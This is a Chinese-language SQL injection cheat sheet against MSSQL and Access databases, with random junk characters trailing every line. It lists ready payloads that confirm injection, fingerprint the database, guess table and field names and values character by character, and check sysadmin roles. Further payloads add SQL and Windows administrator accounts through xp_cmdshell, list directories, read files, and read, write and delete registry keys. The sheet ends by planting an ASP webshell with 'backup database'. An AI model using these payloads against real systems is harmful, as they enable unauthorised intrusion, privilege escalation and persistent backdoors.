1.判断是否有注入;and 1=1 ;and 1=2 H|iY<7@
2.初步判断是否是mssql ;and user>0 ?5L.]Isa5
1RF?
dv
3.注入参数是字符'and [查询条件] and ''=' p4OiCAW;
D>Qc/+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' zbDM+;
'
Z}/3 dp
5.判断数据库系统 U3yIONlt
uR7\uvibUO
;and (select count(*) from sysobjects)>0 mssql :9`T.V<?
$xf{m9 8
;and (select count(*) from msysobjects)>0 access 4W''j[Y/
,,>b=r_r&
V5{^R+_)Ya
D,rs)
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,??%["R
Fhn=}7|4q
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0-W{(xy@4
I JAWG
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 H `V3oS~}
(fjAsbT
9.(1)猜字段的ascii值(access) V3u[{^^f
~e<v<92Xu
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 MMfcY
3#%
!be6}
(2)猜字段的ascii值(mssql) a!>yX
ex
I!ykm\<
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6h|@Bz/A
r%g?.4o*b
10.测试权限结构(mssql) v@0lTl_
=U5lPsiv,3
N@>,gm@UU
+)Pv6Zog[
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Sh=Px9'i
YpT x1c-
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *$Df)iI6
~\%MJ3
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #w4=kWJ[
`!j|Ym
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- XACbDKyS
KGclo-,
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Dm j^aFB0|
e%'$Vx0kA
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [9WtoA,kx
$GyO+xF
;and 1=(select IS_MEMBER('db_owner'));-- tZ]|3wp
-T4{PM
*@q+A1P7@
$C UmRi{T
11.添加mssql和系统的帐户 $Wy7z^t
:Gh*
d)
;exec master.dbo.sp_addlogin username;-- BHE((3
;exec master.dbo.sp_password null,username,password;-- :4"SJ
D@yg)$;z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Vs~^r>
x7X"'1U
;exec master.dbo.xp_cmdshell 'net user username password ,*2%6t`N?
UlHRA[SCv
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fn zj@_{|
u:pdY'`"#
;exec master.dbo.xp_cmdshell 'net user username password /add';-- dUtxG ~9
{6v|d{V+e
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Tw{H+B"uVz
={?} [E
FX"%
,P ?TYk
12.(1)遍历目录 w0Fi~:b
5r<%xanXW/
;create table dirs(paths varchar(100), id int) [IVT0
i
eB78z@
;insert dirs exec master.dbo.xp_dirtree 'c:\' >eg&i(C+
w~EXO;L2
;and (select top 1 paths from dirs)>0 =z]&E 78Y
p;:tzH\l
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) aW7{T6.,
.*>LD
OE-$P
v.)'be*u
(2)遍历目录 QeA)@x.p
$V~r*#$.
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?#xNz=V
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4:8#&eF
36JVnW;
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 >\K<q>*
I]>-~_
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 EH"iK2n\9
+15j^ Az
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 xTX\%s|
l!\C"f1o,
%*<k5#Yq
p8BA an3
13.mssql中的存储过程 FyYQ4ov0&o
Z~8Xp
xp_regenumvalues 注册表根键, 子键 _> .TB\
j4le../N
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 GEwgwenv
&-+qB
>SK>
xp_regread 根键,子键,键值名 sMli! u
#$%9XD3
;exec xp_regread C81+nR
it\{#rb=4
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 a=k+:=%y
?V#%^ 57p
xp_regwrite 根键,子键, 值名, 值类型, 值 bK; -X cm
Z;XR%n8
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 _%!C;`3Y
JGSeu =)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
}nYm^Yh
-:m;ePK
xp_regdeletevalue 根键,子键,值名 4QK([q
knpb$eX4
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /^qCJp`
dW<.
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 oo3ZYA
\P!v9LX(
a2UER1Yp"
@g[p>t> *
14.mssql的backup创建webshell &529.>
a9"x_IVU
use model <8!mmOK1
e>1^i;f
create table cmd(str image); 9M~EH?>+[
A) p}AEBc
insert into cmd(str) values (''); sU4(ed\gI\
:q;vZ6Xd
backup database model to disk='c:\l.asp'; NaG1j+LN
ZP*Hx
%U
0gHJ%m9s
w@.E}%bwq
15.mssql内置函数 %B3E9<9>U
wsP3hE' ]
;and (select @@version)>0 获得Windows的版本号 BkA>':bUr
XYWGX;.=
;and user_name()='dbo' 判断当前系统的连接用户是不是sa V>@NkQ<|y
,Zzh. z::D
;and (select user_name())>0 爆当前系统的连接用户 6YrkS;_HS
M\,0<{
;and (select db_name())>0 得到当前连接的数据库 \Yz>=rY
XV)ej>A-V
O9A.WSJ
>}
nWbe=z&y8[
16.简洁的webshell J^pL_
>AV-i$4eQ@
use model VGM8&J{o'
KI-E=<zt
create table cmd(str image); z>vzXM
@8|- C
insert into cmd(str) values (''); ]XJpy-U
jr*A1y*
backup database model to disk='g:\wwwtest\l.asp';